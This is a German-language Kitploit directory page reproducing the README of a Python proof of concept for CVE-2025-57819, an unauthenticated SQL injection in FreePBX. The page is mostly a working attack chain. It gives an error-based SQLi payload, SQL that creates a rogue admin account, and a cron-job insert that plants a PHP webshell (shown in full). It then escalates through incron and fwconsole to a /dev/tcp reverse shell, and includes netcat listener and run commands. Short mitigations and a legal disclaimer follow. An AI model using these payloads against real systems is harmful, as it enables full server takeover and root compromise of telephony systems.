Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FreePBX-SQLi-RCE — Python-Proof-of-Concept zur Ausnutzung von CVE-2025-57819, einer nicht authentifizierten SQL-Injection in FreePBX, die die Erstellung eines Admin-Kontos, die Bereitstellung einer Cron-Webshell und die Eskalation zu Root verkettet. | Kitploit
Tools/GitHubGitHub/hexbytee/freepbx-sqli-rce
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubhexbytee/freepbx-sqli-rce

FreePBX-SQLi-RCE

Python-Proof-of-Concept zur Ausnutzung von CVE-2025-57819, einer nicht authentifizierten SQL-Injection in FreePBX, die die Erstellung eines Admin-Kontos, die Bereitstellung einer Cron-Webshell und die Eskalation zu Root verkettet.

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

FreePBX CVE-2025-57819 – Nicht authentifizierte SQLi zu RCE PoC

Python License

Nur für Bildungs- und Sicherheitsforschungszwecke – siehe rechtlichen Hinweis unten

Exploit-Proof-of-Concept für CVE-2025-57819, eine kritische nicht authentifizierte SQL-Injection-Schwachstelle in FreePBX, die Remote-Code-Ausführung ermöglicht. Dieser PoC wird nach der Veröffentlichung offizieller Patches ausschließlich für Sicherheitsforschung und autorisierte Tests veröffentlicht.

Überblick

FreePBX-Versionen 15.x, 16.x und 17.x (unterhalb der gepatchten Versionen) sind anfällig für nicht authentifizierte SQL-Injection im AJAX-Handler des Endpoint-Moduls. Diese Schwachstellenkette ermöglicht:

  1. Erstellen von Administratorkonten über SQL-Injection
  2. Bereitstellen von Webshells durch authentifizierte Cron-Job-Injection
  3. Eskalation zu root (falls incron verfügbar ist) über die sysadmin_manager-Hook-Kette
  4. Vollständige Systemkompromittierung mit Reverse-Shell-Zugriff

Schwachstellendetails

CVE-IDCVE-2025-57819
TypNicht authentifizierte SQL-Injection (fehlerbasiert)
CVSS9.8 / 10.0 (Kritisch)
BetroffenFreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
Gepatcht15.0.66, 16.0.89, 17.0.3+
CISA KEVJa (29. August 2025)

Anfälliger Endpunkt

GET /admin/ajax.php?brand=<PAYLOAD>

Der Parameter brand im AJAX-Handler des Endpoint-Moduls akzeptiert Benutzereingaben ohne Validierung, was zu einer fehlerbasierten SQL-Injection führt.


Exploit-Kette

Stufe 1: SQL-Injection & Erstellung eines Admin-Kontos

Überprüfen Sie die SQLi mit fehlerbasierter Extraktion via EXTRACTVALUE(), um den Datenbanknamen auszulesen:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Fügen Sie einen neuen administrativen Benutzer in asterisk.ampusers ein:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Phase 2: Injection authentifizierter Cron-Jobs

Mit gültigen Admin-Anmeldedaten authentifiziert sich der Exploit bei FreePBX und baut eine authentifizierte Sitzung auf. Session-Cookies werden gespeichert und für alle nachfolgenden authentifizierten Anfragen verwendet.

Webshell-Befehl in asterisk.cron_jobs injizieren:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

Der FreePBX-Cron-Runner führt den Befehl als Benutzer asterisk aus und platziert eine PHP-Webshell.

Phase 3: Webshell-Aktivierung

Die PHP-Webshell wird unter /var/www/html/shell.php bereitgestellt:

<?php system($_GET['cmd']); ?>

Exploit fragt die Webshell ab, bis die Aktivierung erfolgt, und erlangt so RCE als Benutzer asterisk (uid=999).

Stage 4: Privilegieneskalation (bedingt)

Wenn incron auf dem Ziel konfiguriert ist:

  1. Trigger-Datei in /var/spool/asterisk/incron/ erstellen
  2. incrond (läuft als root) erkennt die Dateierstellung
  3. Ruft /usr/bin/sysadmin_manager mit dem Trigger-Dateinamen auf
  4. sysadmin_manager validiert die GPG-Signatur und leitet an den fwconsole-commands-Hook weiter
  5. Hook dekodiert die Payload und führt aus: /usr/sbin/fwconsole <COMMAND>
  6. Command Injection: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Ergebnis: Root-Shell auf dem Reverse-Listener (falls incron verfügbar).


Was es ausnutzt

  • Keine Eingabevalidierung des Parameters brand
  • Gestapelte Query-Ausführung ermöglicht Datenbankmanipulation
  • Beschreibbare Tabelle asterisk.cron_jobs führt Befehle als asterisk aus
  • Persistenz authentifizierter Sitzungen über Cookies aus dem erstellten Admin-Konto
  • Incron-Dateisystemüberwachung, die als root läuft
  • Unvalidierte fwconsole-Hook-Ausführung mit Command Injection

Installation

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Verwendung

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

PoC Screenshot


Betroffene Versionen

VersionStatus
15.0.0 - 15.0.65Anfällig
15.0.66+Gepatcht
16.0.0 - 16.0.88Anfällig
16.0.89+Gepatcht
17.0.0 - 17.0.2Anfällig
17.0.3+Gepatcht

Gegenmaßnahmen

Sofort:

  • Zugriff auf /admin/ajax.php aus nicht vertrauenswürdigen Netzwerken einschränken
  • incron deaktivieren, falls nicht benötigt: systemctl disable incrond

Dauerhaft: Auf gepatchte Versionen aktualisieren: 15.0.66+, 16.0.89+ oder 17.0.3+


Referenzen

  • CVE-2025-57819
  • CISA KEV Catalog
  • FreePBX Security Advisory

Rechtlicher Hinweis

⚠️ HAFTUNGSAUSSCHLUSS

Dieser Proof of Concept wird AUSSCHLIESSLICH FÜR AUTORISIERTE SICHERHEITSTESTS UND ZU BILDUNGSZWECKEN bereitgestellt. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

SIE MÜSSEN FOLGENDES EINHALTEN:

  • Computer Fraud and Abuse Act (CFAA) und gleichwertige Gesetze in Ihrer Jurisdiktion
  • Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben
  • Holen Sie vor jedem Sicherheitstest eine schriftliche Erlaubnis ein
  • Praktiken der verantwortungsvollen Offenlegung
  • Datenschutz- und Datenverarbeitungsvorschriften (DSGVO, CCPA usw.)

VERBOTENE NUTZUNGEN:

  • Unbefugter Zugriff auf Computersysteme
  • Penetrationstests ohne schriftliche Zustimmung
  • Störung von Diensten oder Datendiebstahl
  • Jede böswillige oder illegale Aktivität

HAFTUNGSVERZICHT: Der Autor ist nicht verantwortlich für:

  • Unbefugten Zugriff oder strafrechtliche Anklagen
  • Schäden an Systemen oder Datenverlust
  • Rechtliche Konsequenzen aus Missbrauch
  • Verstöße gegen Gesetze zur Computerkriminalität

Diese Schwachstelle ist:

  • Öffentlich offengelegt (CVE-2025-57819)
  • Patches öffentlich verfügbar
  • Nur für Sicherheitsforschung veröffentlicht
  • Verantwortungsvoll nach Patch-Veröffentlichung geteilt

Autor

JazzTheRabbit

  • GitHub: @JazzTheRabbit
  • HackTheBox: @JazzTheRabbit
  • YouTube: JazzTheRabbit

Lizenz

MIT License

Tool herunterladen